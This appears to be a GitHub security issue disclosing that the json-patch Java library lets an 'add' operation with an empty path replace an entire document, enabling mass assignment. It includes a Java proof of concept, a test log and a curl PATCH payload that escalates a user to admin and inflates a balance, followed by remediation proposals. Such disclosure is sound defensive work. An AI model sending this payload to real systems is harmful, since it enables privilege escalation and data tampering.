Skip to content

[Security] Mass Assignment via Empty-Path Add Operation Enables Full Document Replacement #169

Description

@york-shen

Security Vulnerability Report

Metadata

Field Value
Affected Version 1.13 (latest on Maven Central)
Component AddOperation.apply()
File src/main/java/com/github/fge/jsonpatch/AddOperation.java:85-86
CWE CWE-915 (Improperly Controlled Modification of Dynamically-Determined Object Attributes)
CVSS 3.1 7.3 (AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:L)

Summary

A JSON Patch add operation with an empty path ("") replaces the entire target document with the attacker-controlled value. The library provides no mechanism to restrict operations targeting the root path, no path validation API, and no documentation warning about this dangerous behavior. In applications using JSON Patch for partial updates (e.g., user profile PATCH endpoints), this enables privilege escalation by overwriting all fields including administrative flags.

Root Cause

// src/main/java/com/github/fge/jsonpatch/AddOperation.java:85-86
if (path.isEmpty()) {
    return value;  // Entire document replaced with attacker-controlled value!
}

When path is an empty JSON Pointer (""), AddOperation.apply() returns the operation's value directly — completely replacing the target document regardless of its original content.

Proof of Concept

Runtime verified on VM with OpenJDK 21:

--- Test 5: Mass Assignment via Empty-Path Add ---
Original: {"username":"user1","role":"viewer","balance":100}
After patch: {"username":"user1","role":"admin","balance":999999}
VULNERABLE: Empty-path add replaced entire document (role=admin, balance=999999)

Minimal reproduction:

import com.github.fge.jsonpatch.JsonPatch;
import com.fasterxml.jackson.databind.JsonNode;
import com.fasterxml.jackson.databind.ObjectMapper;

ObjectMapper mapper = new ObjectMapper();

// Original user document (server-side)
JsonNode original = mapper.readTree(
    "{\"username\":\"user1\",\"role\":\"viewer\",\"balance\":100}");

// Attacker-supplied patch: empty path = replace entire document
JsonNode patchNode = mapper.readTree(
    "[{\"op\":\"add\",\"path\":\"\",\"value\":{\"username\":\"user1\",\"role\":\"admin\",\"balance\":999999}}]");

JsonPatch patch = JsonPatch.fromJson(patchNode);
JsonNode result = patch.apply(original);

// result = {"username":"user1","role":"admin","balance":999999}
// Attacker escalated role from "viewer" to "admin" and set balance to 999999

Attack scenario (HTTP PATCH endpoint):

# User "user1" with role=viewer sends:
curl -X PATCH 'https://target.com/api/users/me' \
  -H "Authorization: Bearer user1_token" \
  -H "Content-Type: application/json-patch+json" \
  -d '[{"op":"add","path":"","value":{"username":"user1","role":"admin","balance":999999}}]'

# Server applies patch without path validation
# Result: user1 is now admin with 999999 balance

RFC 6902 Compliance Note

This behavior is technically compliant with RFC 6902 — an empty JSON Pointer ("") references the entire document per RFC 6901. However:

  1. The library provides no mechanism to restrict operations on the root path
  2. The library provides no path validation API for consumers
  3. The library does not document this dangerous behavior
  4. Peer libraries (e.g., zjsonpatch) provide path restriction options

Most developers using JSON Patch for partial-update APIs do not expect that add can replace the entire document. This is a dangerous default without guardrails.

Impact

  • Privilege escalation: Attacker overwrites role, permissions, is_admin fields
  • Financial manipulation: Attacker sets balance, quota, credits to arbitrary values
  • Data integrity violation: Attacker removes audit fields, timestamps, or foreign keys
  • Affects all PATCH endpoints that apply user-supplied JSON Patch without path allowlisting

Suggested Remediation

  1. Add a builder option to reject root-path operations:
JsonPatch.builder()
    .rejectRootPath(true)  // Reject operations with path=""
    .build(patchNode);
  1. Add a path allowlist/denylist API:
JsonPatch.builder()
    .allowedPaths("/name", "/email", "/bio")  // Only these paths can be modified
    .build(patchNode);
  1. Document the risk in Javadoc and README:
WARNING: An "add" operation with an empty path ("") replaces the entire document.
Applications accepting user-supplied patches MUST validate paths before applying.

References

Metadata

Metadata

Assignees

No one assigned

    Labels

    No labels
    No labels

    Type

    No type

    Projects

    No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions